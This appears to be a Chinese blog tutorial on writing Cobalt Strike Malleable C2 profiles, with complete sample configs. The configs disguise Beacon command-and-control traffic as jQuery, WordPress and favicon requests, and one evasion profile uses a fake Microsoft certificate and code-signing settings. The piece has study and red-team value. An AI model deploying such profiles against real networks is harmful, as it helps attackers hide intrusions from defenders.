Malleable C2
前言:Malleable C2编写profile的学习笔记
参考文章:https://github.com/rsmudge/Malleable-C2-Profiles
参考文章:https://www.cobaltstrike.com/help-malleable-c2
什么是Malleable C2
Malleable C2 是 Cobalt Strike 的一项功能,意为 "可定制的" 的 C2 服务器。
Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为
前置知识点:
-
c2lint可以用来检测你的profile配置文件是否有问题,并且指出哪里有问题
-
所谓的metadata字段实际上就是beacon和服务端之间传输的核心数据,比如里面包括了要返回的控制指令和请求的控制指令等等信息,除了metadata以外的话都是混淆信息
C2配置代码结构
绝大多数的自定义profile都会重写下面三个部分,我这里也只学习这三个部分 http-get http-post http-stager,其他的部分还有几个,这里的话就不讲了,大家可以自行研究
- http-get
http-get用于自定义数据包去轮询teamserver的任务
- http-post
http-post用于自定义数据包去向teamserver发送输出
- http-stager
如何通过http获取远程的阶段载荷,这种情况就是分阶段的payload
- stage
在获取beacon.dll的时候如何进行解析的配置项,稍微提一下就比如默认的beacon.dll中的导出函数为ReflectiveLoader,如果你指定了transform-x86或者transform-x64中的strrep的话则可以将"ReflectiveLoader"导出名进行替换从而规避检测特征
- http-config
相当于定义了全局的http字段值
- https-certificate
定义ssl证书
- code-signer
在生成Windows Stager Payload and Windows Stageless Payload的情况下给文件进行签名使用
- dns-beacon
dns的beacon使用的配置条目
- post-ex
后渗透相关的配置项,比如定义哪个进程作为注入对象配置项等等
http-get
http-get用于轮询teamserver的任务,相当于每次请求都是请求服务端的任务,然后接收返回的数据,运行接收到其中的Task任务来进行执行
这里直接给个如下http-get的例子
http-get { set uri "/jquery.min.js"; # client { header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; parameter "ver" "1.2.4"; metadata { base64; prepend "token="; header "Cookie"; } } server { header "Server" "Apache/2.4.39 (Unix)"; header "Content-Type" "application/javascript; charset=utf-8"; output { base64; prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)"; append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});"; print; } } }
再看里面的子结构,主要分为Client
和Server
分别针Beacon对服务端的请求和服务端对Beacon响应的内容
client
再看下其中Client
结构中又分为三个部分,header
,parameter
,metadata
,都是在自定义http报文
client { #http报文中的响应头Accept-Language为zh-CN,zh;q=0.9,en;q=0.8,以此类推,就是自定义http报文 header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; #其实就是当GET请求的时候,一个端点所带的参数,比如 ?ver=1.2.4 这种,同样是自定义http报文 parameter "ver" "1.2.4"; #base64则指明其中的数据需要进行base64编码 metadata { #base64则指明其中的数据需要进行base64编码 base64; #prepend声明前缀是token=,header "Cookie"则声明存储在Cookie字段中 prepend "token="; #声明存储在Cookie字段中 header "Cookie"; } }
上述的http-get中传输的情况为如下所示,其中http-get中的set uri
字段为Get请求时候的地址
注意:Cobalt Strike中有个C2lint可以帮助我们对配置文件进行检测,./c2lint my.profile
,如下图就是http-get
部分
除了上述的这些header字段之外,其实还有其他的字段,可以参考下述文章
server
以此类推Server结构中的字段也是类似的,同样的自定义header头,然后核心数据输出为base64,数据通过jquery特征来进行混淆
server { header "Server" "Apache/2.4.39 (Unix)"; header "Content-Type" "application/javascript; charset=utf-8"; output { base64; prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)"; append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});"; print; } }
这里还会注意到在 http-get请求中 server 和 client大部分都是一样的,但是在 server 中也有不一样的,那么就是output
,这里的output可以理解为 GET 请求响应的的部分,可以从上图里面的响应中看出
其中还需要注意的就是print字段,这个字段代表的是数据的结束符,并且声明数据在body体中,除了print为结束符,还有其他的三种,同样可以参考下述文章中的描述
http-post
http-post用于向teamserver发送输出,也就是通过http-get请求返回的指令,然后beacon进行执行完通过http-post传输过去执行完的结果
最后还会发现在跟http-get包体比起来,http-post
中的client会有output
和id
这两个部分,那是什么意思呢?
这里需要知道的就是在Beacon在上传执行的数据的时候是需要对应的Task ID(这里的Task ID 可以理解为在你CS中的每个Beacon的编号)的,所以这里的id块正好是针对Task ID的修改
client结构中的output块则是修改通过POST发送的数据,而在server
结构中的output块仅仅是用于修改响应内容的!
http-stager
其实看到官方文档中的描述,跟上面的http-get和http-post其实都差不多,都是自定义下相关的请求字段
其中的话还需要定义下uri_x86和uri_x64,这里需要注意的就是x86和x64不能是一样的,否则通过c2lint校验的时候会报错
而最后的 http-stager是用于stage过程,当Beacon被执行后,会在C2上下载载荷执行,Stage过程,但是Stageless没有这个过程
为什么Stageless没有这有这个过程?顾名思义Stageless是无阶段的意思,所以相关的profile配置信息都被写入到一个exe中,所以在启动的时候也不需要进行外部请求相关资源
HTTP Malleable C2 Profile配置
set sample_name "my"; set sleeptime "5000"; set tcp_port "7001"; set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"; http-get { set uri "/jquery.min.js"; client { header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; parameter "ver" "1.2.4"; metadata { base64; prepend "token="; header "Cookie"; } } server { header "Server" "Apache/2.4.39 (Unix)"; header "Content-Type" "application/javascript; charset=utf-8"; output { base64; prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)"; append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});"; print; } } } http-post { set uri "/wp-admin"; client { header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; header "Cookie" "wordpress_test_cookie=WP+Cookie+check"; id { base64; prepend "PHPSESSID="; header "Cookie"; } output { base64; print; } } server { header "Server" "Apache/2.4.39 (Unix)"; header "Content-Type" "text/html; charset=UTF-8"; output { base64; print; } } } http-stager { set uri_x86 "/favicon1.ico"; set uri_x64 "/favicon2.ico"; client { header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; } server { header "Server" "Apache/2.4.39 (Unix)"; header "Content-Type" "image/x-icon"; output { print; } } }
C2所需要注意的地方
1.每个Cobalt Strike实例一次使用一个配置文件,也就是说如果更改配置文件或加载新的配置文件,以前部署的Beacon将无法与你通信
2.在开发数据转换时,请始终了解数据的状态以及协议所允许的内容。例如,如果你对base64进行了元数据编码并将其存储在URI参数中,那么它将无法正常工作。为什么?因为在URL中某些base64字符(+,=和/)具有特殊含义,c2lint工具和Profile Compiler不会检测到此类问题。
3.即使进行很小的更改,也要始终测试你的配置文件。如果Beacon无法与你通信,则可能是你的配置文件profile存在问题。编辑它,然后再试一次。
4.信任c2lint工具。该工具超越了概要文件编译器。这些检查基于该技术的实现方式。如果c2lint检查失败,则说明你的配置文件profile存在实际问题。
参考文章:https://www.chabug.org/web/832.html
参考文章:https://www.cobaltstrike.com/help-malleable-c2
实现流量免杀
继续走,介绍完之后来个简单的应用,比如这篇文章的流量免杀!
文章:https://www.zzhsec.com/556.html
其中的C2配置如下:抽取关键的
#设置证书 https-certificate { set CN "US"; set O "MicrosoftUpdates"; set C "en"; set L "US"; set OU "MicrosoftUpdates"; set ST "US"; set validity "365"; } #设置 code-signer{ set keystore "zzhsec.store"; set password "123.zzhsec!"; set alias "zzhsec"; } http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } } http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urlencoded"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } }
抓包分析
这里请求的是http-get,上面已经说过了,http-get中Client
和Server
分别针Beacon对C2的请求和C2对Beacon响应的内容进行修改
http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } }
跟踪TCP流
http-post部分
http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urlencoded"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } }
接下来再CS上面执行命令shell whoami
通信包:
跟踪TCP流
Beacon向C2发送的数据都是存储在data字段之后,正好跟C2的配置文件相同
C2响应的数据:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY